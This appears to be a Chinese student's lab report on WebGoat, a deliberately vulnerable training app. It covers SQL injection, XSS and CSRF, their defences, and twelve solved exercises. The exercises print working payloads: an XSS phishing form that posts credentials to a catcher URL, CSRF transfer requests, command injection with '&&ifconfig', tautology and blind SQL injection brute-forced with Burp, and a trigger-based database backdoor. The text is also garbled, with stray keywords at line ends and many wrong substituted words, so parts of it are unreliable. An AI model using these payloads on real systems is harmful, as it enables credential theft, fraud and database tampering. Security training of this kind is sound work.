Exp9 Web安全基础

Exp9 Web安全基础

本实践的目标理解经常使用网络攻击技术的基本原理。Webgoat实践下相关实验。java

一.实验后回答问题

(1)SQL注入攻击原理,如何防护git

原理:github

SQL注入是针对数据库的一种攻击方式。攻击者会将一些恶意代码插入到字符串中,将该字符串传递到SQLServer数据库的实例中进行分析和执行。主要形式有两种。一是直接将代码插入到与SQL命令串联在一块儿并使得其以执行的用户输入变量,也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者做为原数据存储的字符串。在存储的字符串中会链接到一个动态的SQL命令中,以执行一些恶意的SQL代码。web

防护:sql

1>普通用户与系统管理员用户的权限要有严格的区分.数据库

  在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的创建、删除等权限。那么即便在他们使用SQL语句中带有嵌入式的恶意代码,因为其用户权限的限制,这些代码也将没法被执行。浏览器

2>强迫使用参数化语句.安全

若是在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是经过参数来传递这个变量的话,那么就能够有效的防治SQL注入式攻击。也就是说,用户的输入绝对不可以直接被嵌入到SQL语句中。服务器

3>增强对用户输入的验证。cookie

测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意形成的缓冲区溢出,对于防治注入式攻击有比较明显的效果.

  
(2)XSS攻击的原理,如何防护

原理:

XSS跨站脚本攻击,是Web程序中常见的漏洞,分三类,存储型XSS、反射型XSS、DOM-XSS.XSS属于被动式且用于客户端的攻击方式,攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

防护:

1>完善的过滤体系

永远不相信用户的输入。须要对用户的输入进行处理,只容许输入合法的值,其它值一律过滤掉。

2>Html encode

假如某些状况下,咱们不能对用户数据进行严格的过滤,那咱们也须要对标签进行转换。

好比用户输入:
<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展示时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

(3)CSRF攻击原理,如何防护

原理:
Cross-site+request+forgery跨站请求伪造,经过假装来自受信任用户的请求来利用受信任的网站,是一种对网站的恶意利用.

防护:

1>经过 referer、token或者验证码来检测用户提交。

2>尽可能不要在页面的连接中暴露用户隐私信息。

3>对于用户修改删除等操做最好都使用post操做。

4>避免全站通用的cookie,严格设置cookie的域。

二.实验总结与体会

BurpSuite捕获不到报文问题解决,火狐浏览器中有个地方引发的:

不使用的代理,把这行去掉,就能够了。如还有其它问题,请点击连接查看:关于Burp Suite不能抓包的解决方法

本次实验是最后一次了,通关模式的学习方法很新颖,虽然为难英语水平...真的要好好学英语。忽然感受这学期也快过去了,有种作了一学期实验的感受,哈哈哈哈,很是充实,收获不少,不但收获了知识,提升了动手能力,更重要的是提升了本身动脑思考解决问题的能力,不只在这门课,在从此各方面都有很重要的做用。感谢老师的指导与陪伴!o(^▽^)o

三.实践过程记录

webgoat安装启动

下载地址:https://github.com/WebGoat/WebGoat/releases

下载下来后将jar包放到kali中,输入指令
java -jar webgoat-container-7.0.1-war-exec.jar

浏览器打开http://127.0.0.1:8080/WebGoat/login.mvc

输入下方给出的用户名和密码便可登录。

1.Phishing with XSS 跨站脚本钓鱼攻击

此题要在搜索框中输入XSS攻击代码,利用XSS能够在已存在的页面中进一步添加元素的特色。咱们先建立一个form,让受害人在咱们建立的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码。

代码以下:

</form>
        <script>
        function hack(){ 
         XSSImage=new Image;
         XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
         alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
        </script>
        <form name="phish">
        <br>
        <br>
        <HR>
        <H2>This feature requires account login:</H2>
        <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
        <br>
        <input type="submit" name="login" value="login" onclick="hack()">
        </form>
        <br>
        <br>
        <HR>

将这段代码输入到输入框中:

点击search出现以下登陆框,在登陆框中输入用户名、密码:

点击登陆后跳出弹框以下,攻击成功!


2.Stored XSS Attacks 存储型XSS攻击

存储型XSS攻击是持久化的,代码是存储在服务器中的,用户访问该页面的时候触发代码执行。title任意输入,Message输入消息,嵌入一段js代码,用户点击后便可触发,
如在Message框中输入script>alert("I'm zhanghuaijun");</script>

点击提交后弹出对话框,攻击成功!

3.Reflected XSS Attacks 反射型XSS攻击

它的特色是非持久化,须要欺骗用户本身去点击连接才能触发XSS代码。

在code框中输入<script>alert("I'm zhanghuaijun");</script>

点击Purchase出现对话框:

攻击成功!

4.Cross Site Request Forgery

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。

查看页面右边Parameters中的src和menu值

在title框中任意输入,message框中输入代码:<img src='attack?Screen=src值&menu=menu值&transferFunds=转帐数额'>

提交后生成一个连接,点击便可查看用户操做的信息,攻击成功!

5.CSRF Prompt By-Pass

此题包括了两个请求,一是转帐请求,二是确认转帐成功请求,即须要额外传递两个参数给服务器。查看页面右边Parameters中的src和menu值,并在title框中任意输入,message框中输入代码:

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转帐数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

提交后生成一个连接,点击后便可查看用户操做的信息,成功转出500,攻击成功!

6.Command Injection

在目标主机上执行系统命令,能够看到这一题的选择框是一个下拉框,因而,咱们可使用火狐浏览器下的firebug对源代码进行修改.

可是,我在个人浏览器上没找到firebug,百度了下原来是个人浏览器是新版本的,新版本的火狐浏览器已经不支持firebug扩展,而且该扩展已经中止开发适配。 因此新版本的可使用火狐浏览器自带的developtools(开发者工具)能够完美替代firebug的调试做用。

两种办法,1:Tools->Web Developer->Toggle Tools

2: 右键,Inspect Element

开始修改,修改HelpFile的值为AccessControlMatrix.help"&&ifconfig",其中的双引号是为了封闭原语句中的双引号,&&在命令行中是执行另一条语句的意思.

点击GO后,成功!

7.Numeric Injection

注入一条SQL语句来显示所有天气信息。能够看到这一题的选择框仍是一个下拉框,仍是用上面的developtools。

开始修改,station那里有个复选框,能够选择查看相应城市的信息,每选择一个城市,就会把该城市对应的station字段填入SELECT * FROM weather_data WHERE station = ?这条语句中,在数据库后台执行,并将从数据库中获得的搜索结果打印在屏幕上。咱们能够随便选择一个城市,把它对应的station或上一个永真式,以下:

点击go,成功!

8.Log Spoofing

在User Name文本框中输入Smith%0d%0aLogin Succeeded for username: admin<script>alert(“20154304test”)</script>达到欺骗登陆效果:

可看到smith登陆失败,admin登陆成功。

9.String SQL Injection

构造永真式'or 1='1,第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号

以下,攻击就成功了,能够显示全部用户的信息

10.LAB: SQL Injection

stage1:String SQL Injection

使用字符串SQL注入绕过认证,登录Boss(“Neville”)的帐号。
将password的最大长度maxlength改成20:

利用永真式,修改password=' or'1'='1,成功:

stage3:Numeric SQL Injection

用员工帐号登录,进入员工页面后再经过SQL注入来查看老板的帐户信息,先用刚才的方法选择一名员工登陆。

从源代码中看一下在数据库中查找的方式,发现传递的参数是员工ID,想要调出老板帐户信息,就得把老板排在id能够预测的位置,通常来讲老板的工资都应该是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

点击viewprofile按键,可成功看到老板的帐户:

11.Database Backdoors

利用SQL输入插入后门,首先是一个SQL注入点,能够经过数字注入看到全部人的薪水,而后使用如下SQL指令能够修改薪水
在User ID输入框输入101 or 1=1;update employee set salary = 100000,点击提交,以下图所示:

使用SQL注入注入一个后门,建立新用户的时候修改邮箱为你的邮箱

101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
点击提交,以下图所示:

12.Blind Numeric SQL Injection

数字盲注,此题的要求是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,从服务端页面返回的信息中能够知道,它只告诉你两种信息:账号有效或无效。

输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000);查看pin数值是否大于5000

在0-5000之间,用折半查找继续试

在0-2500之间

在1250-2500之间


在2000-2500之间

使用BurpSuite,截获报文进行暴力破解,在BurpSuite中依次选择Proxy->Options->Add新添加一个端口,4304,点击确认后会在Options下增长一行,勾选新造成的这一行:


在浏览器进行手动代理设置点击浏览器右上方的更多选项卡,选择preference

在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…

设置代理服务器和端口(要与BurpSuite中绑定的一致)

在webgoat端点击go,捕获到了报文,右键选择send to intruder

而后在Intruder下选择相关设置:在Target中,设置本机IP地址HOST,和端口号,也就是WebGoat的地址和端口号。
在Positions中,选择Sniper模式,而后用光标选中须要暴力穷举的变量,在此处是account_number后的值,而后点击右侧的add添加

在Payloads中,选择type类型为number,而后设置变化范围2000-2500,并设置步长为1

而后点击右上方Start attack开始攻击

找到数据包大小变化的位置2364,用2364试一下,成功!

相关文章
相关标签/搜索